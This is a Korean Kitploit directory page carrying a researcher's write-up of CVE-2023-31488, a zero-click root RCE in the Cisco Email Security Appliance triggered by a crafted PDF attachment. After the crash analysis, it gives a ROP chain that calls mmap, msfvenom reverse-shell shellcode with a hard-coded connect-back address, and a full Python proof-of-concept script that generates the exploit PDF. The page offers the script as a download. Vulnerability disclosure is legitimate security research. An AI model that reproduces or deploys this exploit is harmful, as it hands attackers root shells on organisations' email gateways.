Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cisco-CVE-2023-31488 — Cisco Email Security Appliance: 이메일에서 루트 권한의 제로클릭 RCE로 - 원격 코드 실행/메모리 손상/ROP 체인 | Kitploit
도구/GitHubGitHub/ly1g3/cisco-cve-2023-31488
Exploit FrameworksMemory ForensicsVulnerability AnalysisExploitationReverse EngineeringShellcodeFuzzingPenetration TestingPayload DevelopmentEmail SecurityBinary Exploitation
11개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
ly1g3/cisco-cve-2023-31488

cisco-CVE-2023-31488

Cisco Email Security Appliance: 이메일에서 루트 권한의 제로클릭 RCE로 - 원격 코드 실행/메모리 손상/ROP 체인

저장소 보기

소개

보안 연구자: ly1g3, ly1g3[at]tuta.io

GPG 지문: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586

개요: 이메일로 루트 권한의 제로 클릭 RCE - 원격 코드 실행/메모리 손상/ROP 체인

CVE: CVE-2023-31488

타임라인:

  • 발견 - ly1g3
  • 보고 - ly1g3
  • 수정 - Cisco 및 Lexmark

분석

Cisco Email Security Appliance(ESA)를 퍼징하던 중, ESA가 이메일 첨부 파일의 데이터 정화에 사용하는 Lexmark Perceptive Filters에서 취약점을 발견했습니다. 이 취약점은 이메일을 통한 RCE로 이어집니다. 크래시는 수정된 PDF 첨부 파일을 파싱할 때 발생합니다. 두 자리 PDF 객체 ID를 변경하여 발생시킬 수 있습니다. 예를 들어:

예:

root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor

ID의 일부를 13에서 다른 값(예: 공백)으로 변경하면 다음과 같이 됩니다:

root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
1

수정된 PDF를 Cisco ESA에 이메일로 보내면 libISYSpdf6.so에서 세그멘테이션 폴트 크래시가 발생합니다. 이 크래시는 r14에 ASCII 데이터가 포함되어 있기 때문에 발생합니다.

2 3

자세히 살펴보면 이 데이터는 우리가 제어할 수 있는 PDF 첨부 파일의 콘텐츠에서 비롯된 것입니다. r14의 값은 Rect입니다. 4

Rect를 AAAA로 변경하여 테스트합니다.

5

r14의 값이 PDF의 데이터에서 로드되므로, 이를 수정하여 유효한 메모리 주소를 가리키게 할 수 있습니다. 이 조정 후에는 RAX에 잘못된 데이터가 있어 또 다른 크래시가 발생합니다. 이 데이터 역시 PDF에서 온 ASCII 데이터입니다.

6

rax도 실제 주소를 가리키도록 PDF를 수정하고 계속 진행합니다. 7

새로운 크래시가 발생합니다. 이제 rsi에는 PDF의 ASCII 데이터가 포함되어 있습니다. 8

실제 메모리 주소를 로드하도록 PDF를 다시 수정합니다.

9

마지막으로 매우 흥미로운 코드 부분에 도달합니다. 이 부분에서는 rax에 값을 로드하는 데 사용되는 rdi를 제어합니다. 이 시퀀스의 마지막 명령은 call rax입니다. 이제 코드 실행 능력을 확보하는 데 상당한 진전을 이루고 있습니다.

10

다시 헥스 에디터로 돌아가 rdi에 로드되는 값을 수정합니다. 11

이제 제한된 코드 실행 수단을 갖게 되었고 단일 주소로 점프할 수 있습니다. ASLR이 없으므로 메모리 주소를 찾는 것은 쉽습니다. 또한 rdi를 제어하므로 초기 ROP 가젯 libISYSshared.so: push rdi; pop rsp; xor eax, 를 사용하여 rdi를 rsp로 이동시켜 스택을 제어합니다. 그리고 추가 ROP 가젯으로 준비된 사용자 지정 스택을 사용하여, PDF 메모리 영역에서 우리가 제어하는 영역으로 스택을 지정합니다. 12

msfvenom으로 생성된 FreeBSD 리버스 셸 셸코드를 PDF 메모리 영역에 배치합니다. 하지만 해당 메모리는 실행 가능하지 않으므로 먼저 실행 가능하게 만들어야 합니다.

root@kitploit:~
shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"

이 시점에서 스택을 제어할 수 있으므로, 다음 ROP 체인을 사용하여 mmap을 호출함으로써 셸코드 메모리 영역을 RWX로 설정할 수 있습니다.

root@kitploit:~
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 

mmap이 호출된 후, 셸코드의 주소가 사용자 지정 스택의 다음 항목에 있으므로 call rsp;가 셸코드의 NOP 슬레드를 실행합니다. 이 셸코드는 msfvenom으로 생성된 리버스 셸입니다.

흥미로운 점은 이 코드가 정적 안티바이러스 검사보다 먼저 실행되므로, 표준 Metasploit 리버스 셸도 그대로 동작한다는 것입니다.

아래 PoC를 사용하면 동작하는 PDF를 만들 수 있습니다. 그런 다음 이메일로 ESA에 보내기만 하면 RCE를 얻을 수 있습니다. 권한 상승에 대해서는 제 다른 취약점 글을 참조하세요.

그리고 이를 통해 ESA에서 원격 셸을 획득합니다:

13

이 프로젝트는 메모리 손상 취약점에 대해 많은 것을 배우게 해준 재미있는 작업이었습니다. 또한 ASLR과 같은 "현대적인" 메모리 보호가 얼마나 훌륭한 보호책인지, 그리고 여전히 ASLR이 적용되지 않은 시스템들이 존재한다는 사실도 보여줍니다.

Cisco AsyncOS 14.2.0

ESA(Cisco Secure Email) 오버플로 공격. 루트 권한으로 원격 코드 실행.

Lexmark Perceptive Filters의 변수/버퍼 오버플로

특수하게 조작된 PDF 파일을 전송하면 오버플로가 발생하여, 공격자는 ESA 및 Lexmark Perceptive Filters를 사용하는 다른 제품에서 임의 원격 코드 실행을 달성할 수 있습니다.

기술적 세부사항

이 오버플로 공격을 통해 공격자는 call rax 명령을 제어할 수 있게 됩니다. ESA에는 ASLR이 사용되지 않으므로 임의 코드 실행으로 전환하는 것은 매우 쉽습니다. 코드는 루트 권한으로 실행됩니다.

이 문제는 Lexmark의 libISYSpdf6.so 라이브러리에서 PDF를 파싱할 때 발생하며, IGR_Open_File_Ex 함수 호출로 인해 발생합니다. 이 함수는 AMP(Advanced Malware Protection)의 safeprint 함수 및 image_analysis에서 호출되는 것으로 추적할 수 있지만, 다른 경로를 통해서도 익스플로잇이 트리거될 가능성이 있습니다.

재현 단계:

  1. Subtype/CIDFontType2/FontDescriptor를 포함하는 PDF를 생성합니다. 샘플은 여기에서 찾을 수 있습니다: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf
  2. 예:
root@kitploit:~
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
  1. ID 13의 일부를 다른 값(예: 공백) 1 으로 변경하면 다음과 같이 됩니다:
root@kitploit:~
1  0 obj
<</Subtype/CIDFontType2/FontDescriptor 
  1. safeprint 또는 AMP image_analysis를 활성화한 상태에서 PDF를 ESA로 보냅니다.

  2. 그러면 libISYSpdf6.so에서 세그멘테이션 폴트가 발생합니다.

root@kitploit:~
// r14 is now user controlled and point to data in pdf
0x804d4ffc0                  mov    rax, QWORD PTR [r14+0x18]
  1. rax에 로드된 데이터가 결국 다음 코드에 도달하므로 RCE로 승격될 수 있습니다:
root@kitploit:~
// Call with controlled rax, start of ROP chain
0x804d50298: call   rax
  1. 그런 다음 ASLR이 사용되지 않으므로 리버스 셸용 ROP 체인을 만드는 것은 매우 쉽습니다.

POC

root@kitploit:~

import sys
from pwn import *

message = """Usage: python3 gen_esa_exploit.py template.pdf exp.pdf

For template file use: https://github.com/ant4g0nist/fuzzing-pdfs-like-its-1990s/blob/main/pdfs/combo_box.pdf

Change of pdf_data_base_address may be required.

ly1g3, ly1g3[at]tuta.io
"""

def insert_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        content.insert(at_address+i,addr[i])

def overwrite_at_address(content, at_address, address, bytes_to_write):
    addr = p64(address)
    for i in range(bytes_to_write):
        index = at_address+i
        content[index] = addr[i]

def overwrite_string_at_address(content, at_address, content_to_write):
    for i in range(len(content_to_write)):
        index = at_address+i
        content[index] = content_to_write[i]




if len(sys.argv) < 3:
    print(message)
    
    sys.exit()

file_in = sys.argv[1]
file_out = sys.argv[2]



content = None
with open(file_in, "rb") as fi:
    content = bytearray(fi.read())

pos1 = 0x1C41 # position of "13 0 obj"
content[pos1] = 0x20

pos2 = 0x278C # /Rect object pointed to by r14
content[pos2] = 0x00

# Remove /Font at rem_start to make space for full address
rem_start = 0x1CD2
rem_stop = 0x1CD5
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
    del content[rem_start]

# Remove GB1 to make space for address
rem_start = 0x1CB5
rem_stop = 0x1CB8
chars_to_remove = rem_stop - rem_start
for i in range(chars_to_remove):
        del content[rem_start]

# Insert address for r14
# at 0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
# Insert address to pdf data here
# Use pointer to 0xe0 offset in pdf works
pdf_data_base_address = 0x804c27384

address_pos = rem_start
insert_at_address(content, address_pos, pdf_data_base_address, 7)


# Random offset somewhere in the start of the pdf but not near the header
offset_in_pdf = 0xE0

#0x804e51fc0                  mov    rax, QWORD PTR [r14+0x18]
overwrite_at_address(content, offset_in_pdf+0x18, pdf_data_base_address,8)

#0x804e51fc4                  add    r13d, DWORD PTR [rax+0xa8]
overwrite_at_address(content, offset_in_pdf+0xa8, pdf_data_base_address,8)

# 0x804e08536                  mov    rax, QWORD PTR [rsi+0x28]
overwrite_at_address(content, offset_in_pdf, pdf_data_base_address,8)

# 0x804e52286                  mov    rax, QWORD PTR [rdi]
overwrite_at_address(content, offset_in_pdf+0x50, pdf_data_base_address+0x50,8)


libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 


# 0x804e52289                  mov    rax, QWORD PTR [rax+0x18]
# This address will execute at
# 0x804e52298                  call   rax
overwrite_at_address(content, offset_in_pdf+0x50+0x18, rop1,8)

# 0x804e5228d                  mov    esi, DWORD PTR [r12+0x10]
# This value will esi contain at call rax
overwrite_at_address(content, offset_in_pdf+0x10, 0x4242424242424242,8)

# $rdi will after this point to pdf_data_base_address can be used for rop chain


## ROP CHAIN

libISYSshared_base = 0x802400000
rop1 = libISYSshared_base+0x000000000060d115 # [INFO] File: libISYSshared.so: push rdi; pop rsp; xor eax, eax; pop rbp; ret; 
rop2 = libISYSshared_base+0x000000000103e465 # [INFO] File: libISYSshared.so: ret 0xf0; 
rop3 = libISYSshared_base+0x00000000008dc638 # [INFO] File: libISYSshared.so: ret; 

first_rop=0x138
overwrite_at_address(content, first_rop, rop2,8)

second_rop=0x140
overwrite_at_address(content, second_rop, rop3,8)

stack=0x230
overwrite_at_address(content, stack, rop3,8)

rop_chain_start=0x238

from struct import pack

p = lambda x : pack('Q', x)

shellcode = b'\x90'*100

buf =  b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"



IMAGE_BASE_0 = 0x804d29000 # libISYSpdf6.so
rebase_0 = lambda x : p(x + IMAGE_BASE_0)

IMAGE_BASE_1 = 0x802400000 # libISYSshared.so
rebase_1 = lambda x : p(x + IMAGE_BASE_1)


rop = b''
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret; 
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret; 
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret; 
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret; 
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret; 
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp; 
rop += buf

print(rop)

overwrite_string_at_address(content, rop_chain_start, rop)

# ROP Chain here

with open(file_out, "wb") as fo:
    fo.write(content)

도구 다운로드